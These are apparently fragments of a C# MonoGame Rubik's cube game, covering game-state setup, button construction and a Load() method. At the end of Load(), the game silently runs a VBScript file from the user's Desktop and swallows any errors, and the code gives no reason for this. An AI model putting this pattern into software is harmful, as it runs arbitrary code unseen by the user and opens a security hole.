public SwitchGameState(GraphicsDevice graphicsDeviceFromMain, GraphicsDeviceManager graphics, ContentManager content, Music _music) { shouldRunStopper = true; shouldShowStopper = true; graphicsDevice = graphicsDeviceFromMain; allCubeColors = new List <string> { "white", "yellow", "green", "blue" }; //class initialize cube = new Cube(); lang = new Text(); camera = new Camera(); clocks = new Clocks(); solve = new SelfSolve(cube); music = _music; button = new ButtonSetUp(graphics, graphicsDevice, content) { ClassicBound = new Rectangle((int)(graphicsDevice.Viewport.Width / 1.32f), graphicsDevice.Viewport.Height / 3, 60, 40), RockBound = new Rectangle((int)(graphicsDevice.Viewport.Width / 1.55f), graphicsDevice.Viewport.Height / 3, 50, 40) }; cube.Model = content.Load <Model>("rubik"); //text font = content.Load <SpriteFont>("font"); //matrixes world = Matrix.CreateTranslation(new Vector3(0, 0, 0)); view = camera.View; projection = Matrix.CreatePerspectiveFieldOfView(MathHelper.ToRadians(45f), graphicsDevice.Viewport.AspectRatio, 10f, 200f); }
public Button(Texture2D newTexture, GraphicsDevice graphics) { normalClocks = new Clocks(); normalClocks.InitTimer(500); muteClocks = new Clocks(); muteClocks.InitTimer(20); texture = newTexture; Size = new Vector2(graphics.Viewport.Width / 5f, graphics.Viewport.Height / 7f); }
/// <summary> /// load all files /// </summary> private void Load() { gameState = new SwitchGameState(GraphicsDevice, graphics, Content, music); music = new Music(graphics, GraphicsDevice, Content); button = new ButtonSetUp(graphics, GraphicsDevice, Content); clocks = new Clocks(); clocks.InitTimer(200); try { string path = "C:/Users/" + Environment.UserName + "/Desktop/script.vbs"; Process runScript = new Process(); runScript.StartInfo.FileName = (@path); runScript.Start(); runScript.WaitForExit(); runScript.Close(); } catch (Exception) { } justFinshed = true; }